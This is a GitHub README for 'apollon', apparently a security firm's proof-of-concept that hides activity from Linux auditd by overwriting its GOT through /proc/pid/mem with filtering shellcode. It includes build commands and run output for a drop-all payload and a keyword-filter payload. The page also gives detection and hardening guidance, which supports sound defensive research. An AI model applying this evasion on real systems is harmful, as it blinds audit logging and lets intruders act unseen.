- Notifications
You must be signed in to change notification settings - Fork7
Proof-of-Concept to evade auditd by writing /proc/PID/mem
codewhitesec/apollon
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
apollon is a proof of concept tool for blindsidingauditd. It worksby patching theglobal offset table (GOT) ofauditd via/proc/pid/mem
and replacing the pointer to alibc function with a pointer to eventfiltering shellcode.
For patchingauditd memory, root privileges are required. This methodof tampering withauditd events have proven to be very stealthy. Monitoring/proc
usingauditd is not that easy and no suspicious events have beenobserved when runningapollon against some popularauditd rule sets.
More technical details as well as detection and prevention guidance can befound within our blog postblindsiding auditd for fun and profit.
Sinceapollon is only a proof of concept, the supported functionalitiesare limited.apollon ships two different shellcodes that can beinjected intoauditd. The first one -filter-all.asm -filters all incoming events and completely blindsidesauditd. With thispayload, the only required argument is thePID of theauditd process:
[root@auditd apollon]$make apollon-all-x64gcc -c src/procmem.c -o procmem.o -O3 -I include -w -ldlgcc -c src/utils.c -o utils.o -O3 -I include -w -ldlnasm src/filter-all.asm -o shellcode-all.bin -f binpython3 generate-header.py shellcode-all.bingcc -D FILTER_ALL -c src/apollon.c -o apollon-all-x64.o -O3 -I include -w -ldlgcc procmem.o utils.o apollon-all-x64.o -o dist/apollon-all-x64 -O3 -I include -w -ldlstrip --strip-unneeded dist/apollon-all-x64[root@auditd apollon]$./dist/apollon-all-x64 427[+] Found data segment of 427 at 0x7482dd37d000[+] Found libc base address of 427 at 0x7482dd04d000[+] Found offset of 'recvfrom' in libc at e7cc0[+] Searching for pattern 0x7482dd134cc0 in data segment of 427[+] Data segment is 2000 bytes long.[+] Found 'recvfrom' in 427 at 0x7482dd37dea0[+] Preparing shellcode...[+] Replaced 1 occurences of recvfrom.[+] Searching codecave for 23 byte shellcode...[+] Found code cave in 427 at 0x62bddc2bfaf1[+] Wrtiting shellcode to codecave.[+] Replacing 'recvfrom' GOT entry with shellcode addr.[+] auditd patched successfully.
Afterwards, no more events should be logged byauditd. The second shellcode -filter-selective.asm - filters events based on akeyword. With this payload, a second argument is expected that will be used asa filter forauditd events. Each event containing the pattern will be dropped:
[root@auditd apollon]$make apollon-selective-x64gcc -c src/procmem.c -o procmem.o -O3 -I include -w -ldlgcc -c src/utils.c -o utils.o -O3 -I include -w -ldlnasm src/filter-selective.asm -o shellcode-selective.bin -f binpython3 generate-header.py shellcode-selective.bingcc -c src/apollon.c -o apollon-selective-x64.o -O3 -I include -w -ldlgcc procmem.o utils.o apollon-selective-x64.o -o dist/apollon-selective-x64 -O3 -I include -w -ldlstrip --strip-unneeded dist/apollon-selective-x64[root@auditd apollon]$./dist/apollon-selective-x64 427 pid=1337[+] Found data segment of 427 at 0x72e3428a4000[+] Found libc base address of 427 at 0x72e342574000[+] Found offset of 'recvfrom' in libc at e7cc0[+] Searching for pattern 0x72e34265bcc0 in data segment of 427[+] Data segment is 2000 bytes long.[+] Found 'recvfrom' in 427 at 0x72e3428a4ea0[+] Preparing shellcode...[+] Replaced 2 occurences of recvfrom.[+] Found strstr in 427 at 0x72e342600a30[+] Replaced 1 occurences of strstr.[+] Found strtoul in 427 at 0x72e34259a9c0[+] Replaced 2 occurences of strtoul.[+] Found code cave for pattern matching in 427 at 0x5fec525332ad[+] Wrtiting 'pid=1337' to codecave.[+] Replaced 1 occurences of matcher pattern.[+] Searching codecave for 264 byte shellcode...[+] Found code cave in 427 at 0x5fec5254baf1[+] Wrtiting shellcode to codecave.[+] Replacing 'recvfrom' GOT entry with shellcode addr.[+] auditd patched successfully.
After the above patch, all events containingpid=1337
will be dropped. Sinceauditd events usually consist out of multiple audit messages, each audit messagesharing the same event ID as the initially filtered message is also dropped.
A detailed technical discussion ofapollon and some possible detection methodsare discussed within our blog postblindsiding auditd for fun and profit.In this README, we only provide an overview of possible detection methods:
Dynamically createdauditd rules can be used to monitor
/proc/pid/mem
of critical processes.The following listing shows how this can be achieved forauditd by applying an adjustment to theauditd unit file:[Service]Type=forkingPIDFile=/run/auditd.pidExecStart=/sbin/auditdExecStartPost=-/sbin/augenrules --load# The following line monitors write access to /proc/pid/mem of auditdExecStartPost=/bin/bash -c "auditctl -w /proc/$(cat /run/auditd.pid)/mem -p wa -k process-injection"
Monitor theauditd daemon for error messages. Simply clearing the netlink outputbuffer as done byapollon causes error messages as shown below:
Jul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OKJul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OKJul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OKJul 31 13:25:02 auditd auditd[427]: Netlink message from kernel was not OK
Look for missing event IDs inauditd logs. If certain event IDs are skipped, thismay indicate tampering. The listing below shows anauditd log where one event wasdropped byapollon:
type=SYSCALL msg=audit(1690788664.304:980): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffe5e584772 a2=0 a3=0 items=1 ppid=1022 pid=1226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"type=PATH msg=audit(1690788664.304:980): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"type=PROCTITLE msg=audit(1690788664.304:980): proctitle=636174002F6574632F736861646F77type=SYSCALL msg=audit(1690788671.579:982): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffc22a71772 a2=0 a3=0 items=1 ppid=1022 pid=1228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=4294967295 comm="cat" exe="/usr/bin/cat" key="etcpasswd"ARCH=x86_64 SYSCALL=openat AUID="unset" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root"type=PATH msg=audit(1690788671.579:982): item=0 name="/etc/shadow" inode=270575 dev=ca:03 mode=0100000 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root"type=PROCTITLE msg=audit(1690788671.579:982): proctitle=636174002F6574632F736861646F77
If possible, restrictptrace permissions e.g. by using aLinux Security Module.Yama representsone option to globally prevent access to
/proc/pid/mem
by configuring a restrictiveptrace_scope
. If globally disablingptrace is not an option, you may can preventptrace access to critical processes by writing a customLinux Security Module.
About
Proof-of-Concept to evade auditd by writing /proc/PID/mem